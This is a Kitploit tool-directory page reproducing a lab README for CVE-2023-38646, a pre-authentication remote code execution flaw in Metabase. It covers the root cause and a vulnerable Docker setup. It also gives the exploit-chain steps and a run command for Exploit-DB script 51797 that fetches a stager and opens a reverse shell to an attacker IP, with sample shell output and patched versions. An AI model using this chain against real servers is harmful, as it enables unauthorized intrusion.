Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/kushiro45/metabase-cve-2023-38646
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubkushiro45/metabase-cve-2023-38646

metabase-cve-2023-38646

Repo contains the PoC and steps to reproduce cve 2023-38646

View Repository
51 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

cd ~/metabase-poc cat > README.md << 'EOF'

CVE-2023-38646 — Metabase Pre-Auth Remote Code Execution

Summary

CVSS 9.8. Metabase versions before 0.46.6.1 / 1.46.6.1 (and equivalent earlier branches) expose a pre-authentication RCE via the /api/setup/validate endpoint, which is meant to validate database connection details during initial setup but is reachable without authentication even after setup has already completed.

Root cause

The endpoint accepts a database connection payload and, when engine: h2 is specified with a crafted JDBC connection string, allows embedding arbitrary JavaScript via H2's CREATE TRIGGER ... AS $$//javascript syntax. The trigger body executes at validation time, giving the attacker JavaScript execution inside the JVM — which trivially escalates to OS command execution via java.lang.Runtime.getRuntime().exec().

The underlying issue is H2 database engine trusting connection-string-embedded code as part of "validating" a datasource, combined with Metabase exposing this validation path pre-auth.

Environment

  • Target: official metabase/metabase:v0.46.6 Docker image
  • Attacker tooling: Python 3, requests, termcolor
  • PoC source: Exploit-DB 51797 (Musyoka Ian, CVE-2023-38646)

Setup

Run vulnerable Metabase:

root@kitploit:~
docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
docker logs -f metabase   # wait for "Metabase Initialization COMPLETE"

Install exploit dependencies:

root@kitploit:~
pip3 install requests termcolor

Exploit chain

  1. Setup token retrieval — /api/session/properties leaks a setup-token that's meant to gate the one-time initial setup flow, but remains valid and usable even after setup is complete.
  2. Exploitability probe — attacker stands up a local HTTP server; the crafted H2 trigger causes the target to make an outbound callback to it, confirming JS execution inside the H2 engine.
  3. Command execution — a second crafted trigger uses java.lang.Runtime.getRuntime().exec() to fetch a bash stager from the attacker's HTTP server and pipe command output back over a raw TCP listener, base64-encoded.

Run

root@kitploit:~
python3 51797.py -l <attacker_ip> -p 4444 -P 8000 -u http://localhost:3000
  • -l — attacker callback IP (Docker bridge gateway when target is a local container, e.g. 172.17.0.1)
  • -p — port the reverse data channel connects back on
  • -P — local HTTP server port serving the stager script
  • -u — target Metabase base URL

Drops into an interactive metabase_shell > prompt once the pre-auth callback confirms exploitability.

Result

metabase_shell > whoami metabase metabase_shell > id uid=2000(metabase) gid=2000(metabase) groups=2000(metabase),2000(metabase)

Command execution confirmed as the metabase service account — pre-auth, no credentials required. Severity stems from network-reachable RCE with zero authentication, not from the privilege level of the resulting shell.

Fix

Patched in Metabase 0.46.6.1 / 1.46.6.1 and later — the /api/setup/validate endpoint now requires setup to be genuinely incomplete, and setup tokens are invalidated once initial setup finishes.

Disclaimer

For isolated lab use only. Do not run against Metabase instances you do not own or have explicit authorization to test.

Download Tool